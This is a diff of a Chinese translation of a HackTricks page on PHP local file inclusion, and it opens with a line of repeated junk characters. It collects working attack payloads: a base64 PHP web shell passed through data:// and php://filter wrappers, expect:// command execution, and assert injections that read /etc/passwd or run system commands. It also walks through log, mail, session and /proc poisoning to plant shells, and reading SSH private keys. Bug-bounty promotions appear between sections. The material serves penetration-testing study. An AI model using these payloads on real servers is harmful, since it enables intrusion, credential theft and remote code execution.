BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGB
```
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain,
@@ -366,13 +338,15 @@ http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
-有趣的事实:你可以使用以下代码触发XSS并绕过Chrome Auditor:`http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
+```markdown
+趣事:您可以通过以下方式触发 XSS 并绕过 Chrome Auditor: `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
-请注意,这个协议受到php配置中的**`allow_url_open`**和**`allow_url_include`**的限制。
+请注意,此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
### expect://
-需要激活Expect才能执行代码。
+Expect 必须被激活。您可以使用这个执行代码。
+```
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@@ -386,7 +360,7 @@ POST DATA:
```
### phar://
-如果网站使用类似`include`的函数来加载文件,`.phar`文件也可以用来执行PHP代码。
+`.phar` 文件也可以用来执行 PHP 代码,如果网站使用了像 `include` 这样的函数来加载文件的话。
{% code title="create_phar.php" %}
```python
@@ -400,15 +374,14 @@ $phar->stopBuffering();
```
{% endcode %}
-你可以通过执行以下命令来编译`phar`文件:
+您可以执行以下命令来编译 `phar`:
```bash
php --define phar.readonly=0 create_path.php
```
-将生成一个名为`test.phar`的文件,您可以使用它来滥用LFI。
+将生成一个名为 `test.phar` 的文件,您可以使用它来滥用 LFI。
-如果LFI只是读取文件而不执行其中的php代码,例如使用函数如`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`或`filesize()`。您可以尝试滥用在使用phar协议读取文件时发生的反序列化。
-
-有关更多信息,请阅读以下文章:
+如果 LFI 只是读取文件而不执行其中的 php 代码,例如使用函数 _**file\_get\_contents(), fopen(), file() 或 file\_exists(), md5\_file(), filemtime() 或 filesize()**_**。** 您可以尝试滥用在使用 **phar** 协议**读取**文件时发生的**反序列化**。\
+有关更多信息,请阅读以下帖子:
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
@@ -416,65 +389,63 @@ php --define phar.readonly=0 create_path.php
### 更多协议
-检查更多可能的[**协议以在此处包含**](https://www.php.net/manual/en/wrappers.php)**:**
+查看更多可能的[**包含协议在此**](https://www.php.net/manual/en/wrappers.php)**:**
-* [php://memory和php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 写入内存或临时文件(不确定在文件包含攻击中如何有用)
+* [php://memory 和 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
-* [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问HTTP(s) URL
-* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问FTP(s) URL
+* [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URLs
+* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URLs
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
-* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找与模式匹配的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
-* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳2
+* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印的内容,所以在这里不是很有用)
+* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳协议 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适用于读取任意文件)
-## 通过PHP的'assert'进行LFI
+## 通过 PHP 的 'assert' 实现 LFI
-如果遇到一个困难的LFI,似乎过滤遍历字符串(如“..”)并响应类似“Hacking attempt”或“Nice try!”的内容,那么'assert'注入有效载荷可能会起作用。
+如果您遇到一个难以处理的 LFI,它似乎在过滤像 ".." 这样的遍历字符串,并以 "Hacking attempt" 或 "Nice try!" 之类的回应,一个 'assert' 注入有效载荷可能会起作用。
像这样的有效载荷:
```
' and die(show_source('/etc/passwd')) or '
```
-将成功利用以下形式的"file"参数的PHP代码:
+将成功利用看起来像这样的“file”参数的PHP代码:
```bash
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
```
-也有可能在一个易受攻击的"assert"语句中使用system()函数来实现远程代码执行(RCE):
+它也可以在一个易受攻击的 "assert" 语句中使用 system() 函数来获得 RCE:
```
' and die(system("whoami")) or '
```
-确保在发送之前对有效载荷进行URL编码。
+确保在发送前对有效载荷进行URL编码。
-**HackenProof是所有加密漏洞赏金的家园。**
+加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
-**即时获得奖励**\
-HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
+**黑客洞察**\
+参与深入探讨黑客的刺激和挑战的内容
-**在web3渗透测试中获得经验**\
-区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
+**实时黑客新闻**\
+通过实时新闻和洞察,跟上快节奏的黑客世界
-**成为web3黑客传奇**\
-每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
+**最新公告**\
+通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
-[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
+**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
-{% embed url="https://hackenproof.com/register" %}
-
-## PHP盲目路径遍历
+## PHP 盲路径遍历
{% hint style="warning" %}
-在以下情况下,此技术适用:您**控制**将**访问文件**的**PHP函数**的**文件路径**,但您无法看到文件的内容(例如简单调用**`file()`**),但不显示内容。
+当你**控制**一个**PHP函数**的**文件路径**,该函数将**访问一个文件**,但你看不到文件的内容(如简单的**`file()`**调用),内容不会显示时,此技术相关。
{% endhint %}
-在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中,解释了如何通过PHP过滤器滥用盲目路径遍历以通过错误oracle泄露文件的内容。
+在[**这篇不可思议的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中,解释了如何通过PHP过滤器滥用盲路径遍历,通过错误预言**泄露文件的内容**。
-简而言之,该技术使用**“UCS-4LE”编码**使文件的内容变得如此**庞大**,以至于打开文件的**PHP函数将触发错误**。
+总结来说,技术使用**"UCS-4LE" 编码**使文件内容变得非常**大**,以至于**打开**文件的**PHP函数**会触发一个**错误**。
-然后,为了泄露第一个字符,使用了过滤器**`dechunk`**以及其他过滤器,如**base64**或**rot13**,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**将其他字符放在开头并泄露它们。
+然后,为了泄露第一个字符,使用过滤器**`dechunk`**以及其他过滤器如**base64**或**rot13**,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE**将其他字符**放在开头并泄露它们**。
-**可能存在漏洞的函数**:`file_get_contents`,`readfile`,`finfo->file`,`getimagesize`,`md5_file`,`sha1_file`,`hash_file`,`file`,`parse_ini_file`,`copy`,`file_put_contents(仅限目标只读)`,`stream_get_contents`,`fgets`,`fread`,`fgetc`,`fgetcsv`,`fpassthru`,`fputs`
+**可能存在漏洞的函数**:`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (只有在这种情况下目标为只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
有关技术细节,请查看上述文章!
@@ -482,19 +453,19 @@ HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞
### 远程文件包含
-之前已经解释过,[**请点击此链接**](./#remote-file-inclusion)。
+如前所述,[**请点击此链接**](./#remote-file-inclusion)。
-### 通过Apache/Nginx日志文件
+### 通过 Apache/Nginx 日志文件
-如果Apache或Nginx服务器在包含函数中**存在LFI漏洞**,您可以尝试访问**`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell,例如**``**,然后包含该文件
+如果 Apache 或 Nginx 服务器在 include 函数中**容易受到 LFI 的影响**,你可以尝试访问 **`/var/log/apache2/access.log` 或 `/var/log/nginx/access.log`**,在**用户代理**或**GET 参数**中设置一个php shell,如 **``** 并包含该文件
{% hint style="warning" %}
-请注意,如果您在shell中使用双引号而不是单引号,双引号将被修改为字符串"_**quote;**_",PHP将在那里抛出错误,**不会执行任何其他操作**。
+请注意,如果你使用**双引号**而不是**单引号**来写shell,双引号将被修改为字符串 "_**quote;**_",**PHP 将会抛出一个错误**,而且**不会执行其他任何操作**。
-此外,请确保**正确编写有效载荷**,否则每次尝试加载日志文件时PHP都会出错,您将没有第二次机会。
+此外,确保你**正确编写有效载荷**,否则PHP每次尝试加载日志文件时都会出错,你将没有第二次机会。
{% endhint %}
-这也可以在其他日志中完成,但要**小心**,日志中的代码可能已进行URL编码,这可能会破坏Shell。标头**authorisation "basic"**在Base64中包含"user:password"并在日志中解码。PHPShell可以插入此标头中。
+这也可以在其他日志中完成,但要**小心**,日志中的代码可能是URL编码的,这可能会破坏Shell。头部**授权 "basic"** 包含以Base64编码的"user:password",它在日志中被解码。PHPShell可以插入到此头部中。\
其他可能的日志路径:
```python
/var/log/apache2/access.log
@@ -507,139 +478,125 @@ HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞
/var/log/nginx/error.log
/var/log/httpd/error_log
```
-Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
+Fuzzing 字典: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### 通过电子邮件
-**发送一封邮件**到内部账户(user@localhost),其中包含您的PHP有效载荷,如 ``,并尝试通过路径 **`/var/mail/`** 或 **`/var/spool/mail/`** 包含到用户的邮件中
+**发送邮件**到内部账户(user@localhost),邮件中包含你的PHP有效载荷,如 ``,然后尝试包含用户的邮件,路径类似 **`/var/mail/`** 或 **`/var/spool/mail/`**
### 通过 /proc/\*/fd/\*
1. 上传大量的shell(例如:100个)
-2. 使用 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) 进行包含,其中 $PID 是进程的PID(可以通过暴力破解获得),$FD 是文件描述符(也可以通过暴力破解获得)
+2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的PID(可以暴力破解),$FD 是文件描述符(也可以暴力破解)
### 通过 /proc/self/environ
-像日志文件一样,将有效载荷发送到 User-Agent,它将被反射到 /proc/self/environ 文件中
+像日志文件一样,发送有效载荷在User-Agent中,它会被反映在 /proc/self/environ 文件内
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
### 通过上传
-如果你可以上传一个文件,只需在其中注入shell负载(例如:``)。
+如果您可以上传文件,只需在其中注入shell载荷(例如:``)。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-为了保持文件的可读性,最好将注入内容压缩到图片/文档/PDF的元数据中。
+为了保持文件的可读性,最好将代码注入到图片/doc/pdf的元数据中
-### 通过上传ZIP文件
+### 通过Zip文件上传
-上传一个包含压缩的PHP shell的ZIP文件并访问:
+上传一个包含压缩PHP shell的ZIP文件并访问:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
-### 通过PHP会话
+### 通过 PHP 会话
-检查网站是否使用PHP会话(PHPSESSID)
+检查网站是否使用 PHP 会话(PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
-在PHP中,这些会话被存储在`/var/lib/php5/sess_[PHPSESSID]`文件中。
+在PHP中,这些会话被存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
-将cookie设置为``
+设置 cookie 为 ``
```
login=1&user=&pass=password&lang=en_us.php
```
-使用LFI(本地文件包含)来包含PHP会话文件
-
-LFI(本地文件包含)是一种攻击技术,可以利用Web应用程序中的漏洞来包含本地文件。通过利用此漏洞,攻击者可以包含敏感文件,如PHP会话文件。
-
-要利用LFI来包含PHP会话文件,可以使用以下步骤:
-
-1. 确定目标网站是否存在LFI漏洞。可以通过尝试访问包含敏感文件的URL来测试。例如,尝试访问`http://example.com/index.php?page=/etc/passwd`,如果返回了包含敏感文件内容的响应,则表示存在LFI漏洞。
-
-2. 确定PHP会话文件的位置。默认情况下,PHP会话文件存储在服务器的临时目录中,通常是`/tmp`或`/var/tmp`。可以通过查看PHP配置文件(如`php.ini`)或使用命令`phpinfo()`来获取该信息。
-
-3. 构造LFI攻击的Payload。在URL中使用LFI漏洞时,可以通过将目标文件路径作为参数传递给受影响的页面来实现文件包含。例如,使用`http://example.com/index.php?page=/var/tmp/sess_123456`来包含PHP会话文件。
-
-4. 利用LFI漏洞来包含PHP会话文件。将构造的Payload插入到受影响的页面中,以触发LFI漏洞并包含PHP会话文件。这样,攻击者就可以获取PHP会话文件中存储的敏感信息。
-
-请注意,利用LFI漏洞进行攻击是非法的,并且仅在授权的渗透测试活动中使用。
+使用LFI包含PHP会话文件
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
-### 通过ssh
+### 通过 ssh
-如果ssh处于活动状态,请检查正在使用的用户(/proc/self/status和/etc/passwd),并尝试访问**\/.ssh/id\_rsa**
+如果 ssh 活跃,检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\/.ssh/id\_rsa**
-### 通过vsftpd日志
+### **通过** **vsftpd** _**日志**_
-这个FTP服务器的日志存储在**/var/log/vsftpd.log**中。如果你有一个LFI并且可以访问一个暴露的vsftpd服务器,你可以尝试使用PHP负载设置用户名登录,然后使用LFI访问日志。
+这个 FTP 服务器的日志存储在 _**/var/log/vsftpd.log**_ 中。如果你有一个 LFI 并且可以访问一个暴露的 vsftpd 服务器,你可以尝试登录时在用户名中设置 PHP 负载,然后使用 LFI 访问日志。
-### 通过php base64过滤器(使用base64)
+### 通过 php base64 过滤器(使用 base64)
-如[这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)所示,PHP base64过滤器只会忽略非base64字符。你可以利用这一点绕过文件扩展名检查:如果你提供以".php"结尾的base64,它会忽略"."并将"php"附加到base64后面。以下是一个示例负载:
+如[本文](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)所示,PHP base64 过滤器只忽略非 base64。你可以利用这一点绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略 "." 并将 "php" 附加到 base64。这里有一个示例负载:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### 通过php过滤器(无需文件)
+### 通过 PHP 过滤器(无需文件)
-这个[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)解释了你可以使用**php过滤器生成任意内容**作为输出。这基本上意味着你可以**生成任意的php代码**来包含,而无需将其写入文件中。
+这篇[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)解释了你可以使用 **PHP 过滤器生成任意内容**作为输出。这基本上意味着你可以**生成任意 PHP 代码**用于 include **无需写入**文件。
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
-### 通过分段错误
+### 通过段错误
-**上传**一个将被存储为**临时文件**在`/tmp`中,然后在**同一个请求**中,触发一个**分段错误**,然后**临时文件不会被删除**,你可以搜索它。
+**上传**一个文件,它将作为**临时文件**存储在 `/tmp` 中,然后在**同一个请求中**,触发一个**段错误**,然后**临时文件将不会被删除**,你可以搜索这个文件。
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
-### 通过Nginx临时文件存储
+### 通过 Nginx 临时文件存储
-如果你发现了一个**本地文件包含**漏洞,并且**Nginx**在PHP之前运行,你可能可以使用以下技术获得RCE:
+如果你发现了一个**本地文件包含**并且 **Nginx** 在 PHP 前运行,你可能可以使用以下技术获得 RCE:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
-### 通过PHP\_SESSION\_UPLOAD\_PROGRESS
+### 通过 PHP\_SESSION\_UPLOAD\_PROGRESS
-如果你发现了一个**本地文件包含**漏洞,即使你**没有一个会话**,并且`session.auto_start`是`Off`。如果你在**多部分POST**数据中提供了**`PHP_SESSION_UPLOAD_PROGRESS`**,PHP将**为你启用会话**。你可以滥用这个来获得RCE:
+即使你**没有会话**并且 `session.auto_start` 是 `Off`,如果你在**多部分 POST**数据中提供了 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 将**为你启用会话**。你可以利用这个获得 RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
-### 通过Windows临时文件上传
+### 通过 Windows 中的临时文件上传
-如果你发现了一个**本地文件包含**漏洞,并且服务器在**Windows**上运行,你可能会获得RCE:
+如果你发现了一个**本地文件包含**并且服务器在 **Windows** 上运行,你可能获得 RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
-### 通过phpinfo()(file\_uploads = on)
+### 通过 phpinfo() (file\_uploads = on)
-如果你发现了一个**本地文件包含**漏洞,并且一个文件暴露了**phpinfo()**,并且file\_uploads = on,你可以获得RCE:
+如果你发现了一个**本地文件包含**并且一个文件暴露了 **phpinfo()** 且 file\_uploads = on,你可以获得 RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
-### 通过compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
+### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
-如果你发现了一个**本地文件包含**漏洞,并且你**可以泄露临时文件的路径**,但是**服务器**正在**检查**要包含的文件是否有PHP标记,你可以尝试使用这个**竞争条件**来**绕过该检查**:
+如果你发现了一个**本地文件包含**并且你**可以泄露临时文件的路径**,但是**服务器**正在**检查**是否**要包含的文件有 PHP 标记**,你可以尝试用这个**竞态条件**来**绕过检查**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
@@ -647,7 +604,7 @@ NOTE: the payload is ""
### 通过永久等待 + 暴力破解
-如果你可以滥用LFI来**上传临时文件**并使服务器**挂起**PHP执行,然后你可以在几个小时内**暴力破解文件名**以找到临时文件:
+如果你可以利用 LFI **上传临时文件**并使服务器**挂起** PHP 执行,你可以**在几小时内暴力破解文件名**来找到临时文件:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@@ -655,10 +612,10 @@ NOTE: the payload is ""
### 致命错误
-如果你包含了文件`/usr/bin/phar`,`/usr/bin/phar7`,`/usr/bin/phar.phar7`,`/usr/bin/phar.phar`。(你需要两次包含相同的文件来引发该错误)。
+如果你包含了任何文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含同一个文件两次来触发该错误)。
-**我不知道这有什么用,但可能有用。**\
-_即使引发了PHP致命错误,上传的PHP临时文件也会被删除。_
+**我不知道这有什么用,但它可能有用。**\
+即使你引起了 PHP 致命错误,PHP 临时上传的文件也会被删除。
@@ -671,29 +628,27 @@ _即使引发了PHP致命错误,上传的PHP临时文件也会被删除。_
-**HackenProof是所有加密漏洞赏金的家园。**
+加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
-**即时获得奖励**\
-HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
+**黑客洞察**\
+深入探讨黑客的刺激和挑战
-**在web3渗透测试中积累经验**\
-区块链协议和智能合约是新的互联网!掌握正在崛起的web3安全。
+**实时黑客新闻**\
+通过实时新闻和洞察保持与快节奏黑客世界的同步
-**成为web3黑客传奇**\
-每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。
+**最新公告**\
+通过最新的漏洞赏金发布和关键平台更新保持信息
-[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
-
-{% embed url="https://hackenproof.com/register" %}
+**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并今天就开始与顶尖黑客合作!
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
-* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
-* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) **或者** [**telegram 群组**](https://t.me/peass) **或者在 Twitter 上关注我** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
+* 你在**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* 发现 [**The PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
+* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
+* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
+* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**